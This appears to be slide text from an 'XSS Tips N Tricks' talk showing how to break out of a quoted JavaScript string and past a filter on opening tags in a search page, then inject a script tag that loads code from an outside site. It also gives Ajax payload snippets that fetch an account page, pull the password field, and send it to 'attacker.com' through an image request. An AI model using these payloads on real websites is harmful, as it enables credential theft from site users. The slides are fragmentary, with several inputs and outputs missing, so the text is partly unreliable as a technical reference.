XSS-Tips N Tricks
XSS-Tips N Tricks
<script type="text/javascript">
...
EkSearch.SetPostBackCookie('BLAHBLAH'), '1')
...
</script>
So we want to escape the ' '
Restriction 1 - Quote Jail
Response:
<script type="text/javascript">
...
...
</script>
Restriction 2 - Forbid Opening tag
Input :
Output:
Bypass Restriction 1 (Quote Jail)
Input :
BLAH</script>
Result:
<script type="text/javascript">
...
EkSearch.SetPostBackCookie('BLAH</script> ', '1')
...
</script>
Bypass Restriction 2 (Forbid Opening
Tag)
Look at :
<script type="text/javascript">
...
EkSearch.SetPostBackCookie('BLAH</script> ', '1')
...
</script>
So :
<script Works :)
Bypass Restriction 2 (Forbid Opening
Tag)... cont
Final Result:
<script type="text/javascript">
...
EkSearch.SetPostBackCookie('BLAH</script>
<script src="http://mywebsite.com/a.js" ', '1')
...
</script>
Some useful Ajax tricks
Be effective when crafting your Javascript payload.
html_response = ajaxGet("account_info.php")
tempDiv.innerHTML = html_response;
_userPassword = arr["password"].value;
logInfoImg.src = "http://attacker.com/log.php?"
document.body.appendChild(logInfoImg);
Some useful Ajax tricks (cont)
script.id = "DynaScript";
script.type = 'text/javascript';
script.src = scriptName;
head.appendChild(script);
Some useful Ajax tricks (cont)
myObj.addEventListener('click',<your function>);
//add onClick